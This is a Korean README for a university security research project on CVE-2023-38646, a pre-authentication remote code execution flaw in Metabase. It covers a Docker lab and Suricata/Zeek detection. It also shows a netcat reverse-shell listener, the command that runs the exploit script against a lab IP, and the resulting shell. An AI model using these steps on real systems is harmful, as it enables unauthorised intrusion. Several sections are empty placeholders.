
CVE-2023-38646
이 저장소는 CVE-2023-38646을 분석하는 개념 증명(PoC) 보안 연구 프로젝트를 문서화한 것입니다. 이 취약점은 취약한 버전의 Metabase에 영향을 미치는 사전 인증 없이 가능한 원격 코드 실행(RCE) 취약점입니다.
이 프로젝트의 목표는 실제 취약점의 전체 수명 주기를 시연하는 것입니다. 여기에는 다음이 포함됩니다:
이 저장소는 다음 분야에서의 실무 역량을 보여주기 위해 설계되었습니다:
CVE-2023-38646은 오픈 소스 비즈니스 인텔리전스 및 분석 플랫폼인 Metabase의 특정 버전에 영향을 미치는 치명적인 취약점입니다.
이 취약점은 공격자가 애플리케이션의 설정 또는 구성 프로세스의 약점을 악용하여 인증 없이 원격 코드 실행을 달성할 수 있게 합니다.
주요 세부 사항:
성공적인 악용 시 공격자는 다음을 수행할 수 있습니다:
공식 참조:
이 프로젝트는 공격적 보안 도구와 방어적 모니터링 도구를 모두 결합합니다.
자리 표시자 — 실습 설정 설명
예:
flowchart LR
A[공격자] --> B[취약한 Metabase 인스턴스]
B --> C[CVE-2023-38646 익스플로잇]
C --> D[원격 코드 실행]
D --> E[리버스 셸 설정됨]
E --> F[대상에서 명령 실행]
이 다이어그램은 이 프로젝트에서 사용된 높은 수준의 공격 흐름을 보여줍니다.
Docker 설치 및 설정:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Docker 시작:
취약한 Metabase Enterprise 인스턴스(v1.44.0)가 Docker를 사용하여 배포되었습니다.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
이 명령은 Metabase 웹 인터페이스를 포트 3000에 노출하여 설정 페이지에 접근할 수 있게 합니다.
Docker가 이미 실행 중인 경우, 다음 명령줄을 실행하여 새로 시작하십시오:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
'Docker 설정' 자리 표시자
컨테이너가 실행되면 Metabase 인터페이스가 브라우저를 통해 접근 가능해집니다.
http://0.0.0.0:3000/setup -또는- http://127.0.0.1:3000/setup
설정 페이지는 Metabase 인스턴스가 활성 상태이며 구성할 준비가 되었음을 확인합니다.
BurpSuite
자리 표시자: 스크린샷 또는 설명
익스플로잇을 실행하기 전에, 공격자 머신에서 리버스 셸 연결을 받기 위해 Netcat 리스너를 시작합니다.
nc -lvnp 6666
이 리스너는 익스플로잇된 Metabase 서버로부터의 들어오는 연결을 기다립니다.
자리 표시자: 스크린샷 또는 설명
python3 CVE-2023-38646-Reverse-Shell.py \ ---> 익스플로잇 이름
--rhost http://192.168.1.136:3000 \ ---> 대상 IP 주소
--lhost 192.168.1.137 \ ---> 공격자 IP 주소
--lport 6666 ---> 공격자 리스닝 포트
페이로드는 공격자 머신으로 리버스 셸을 설정하는 명령을 실행합니다.
Netcat 리스너가 연결을 수신하여 공격자에게 시스템에 대한 셸 액세스 권한을 부여합니다.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
피해자 장치에 연결되었는지 확인하려면:
whoami
출력:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
이 프로젝트는 또한 네트워크 모니터링 도구를 사용하여 익스플로잇 활동을 탐지하는 방법을 시연합니다.
Suricata(IDS)는 익스플로잇과 관련된 의심스러운 패턴에 대한 네트워크 트래픽을 모니터링하는 데 사용되었습니다.
sudo suricata -i eth0
자리 표시자: Suricata 경고 스크린샷 삽입
evidence/detection/suricata_alert.png
실시간으로 경고를 관찰하기 위해 Suricata 로그를 다음 명령으로 모니터링했습니다:
tail -f /var/log/suricata/fast.log
자리 표시자: Suricata 로그 스크린샷 삽입
evidence/detection/suricata_log.png
수동적인 접근 방식으로, 사용자 정의 알림 스크립트를 사용하여 Suricata가 의심스러운 트래픽을 탐지할 때 데스크톱 알림을 생성했습니다.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
익스플로잇이 실행될 때, Suricata는 Metabase 익스플로잇 시도와 관련된 의심스러운 활동을 나타내는 경고를 생성했습니다.
자리 표시자: Suricata 로그 스크린샷 삽입
evidence/detection/suricata_noti.png
예:
자리 표시자: Suricata 로그 스크린샷 삽입
evidence/detection/suricata_noti.png
IDS 모니터링 외에도 Zeek를 사용하여 네트워크 트래픽을 분석하고 비정상적인 행동을 식별했습니다.
Zeek는 다음 명령을 사용하여 네트워크 트래픽 캡처 및 분석을 시작하도록 초기화됩니다:
sudo /usr/local/zeek/bin/zeek -i eth0
자리 표시자: Zeek 초기화 스크린샷 삽입
evidence/detection/zeek.png
연결 로그를 검사하면 포트 6666에서의 리버스 셸 트래픽을 관찰할 수 있습니다.
192.168.1.136 → 192.168.1.137:6666
자리 표시자: Zeek 로그 스크린샷 삽입
evidence/detection/zeek_log.png
여러 완화 전략을 통해 익스플로잇 위험을 줄일 수 있습니다.
| 전략 | 설명 |
|---|---|
| 패치 관리 | CVE-2023-38646을 패치한 Metabase 버전으로 업그레이드 |
| 웹 애플리케이션 방화벽 (ModSecurity) | 악성 HTTP 요청 필터링 |
| 호스트 침입 탐지 (OSSEC) | 의심스러운 시스템 행동 모니터링 |
| 네트워크 모니터링 (Suricata 및 Zeek) | 비정상적인 트래픽 패턴 탐지 |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
이 프로젝트는 실제 치명적인 취약점을 분석하고 재현하는 전체 수명 주기를 보여줍니다.
PoC는 다음을 보여줍니다:
이 저장소의 목표는 공격적 및 방어적 사이버 보안 관행을 모두 보여주는 기술 사례 연구를 제공하는 것입니다.
Styverson Ng
정보기술 학사
인공지능 및 자율 시스템
사이버 보안 및 사이버 포렌식
Murdoch University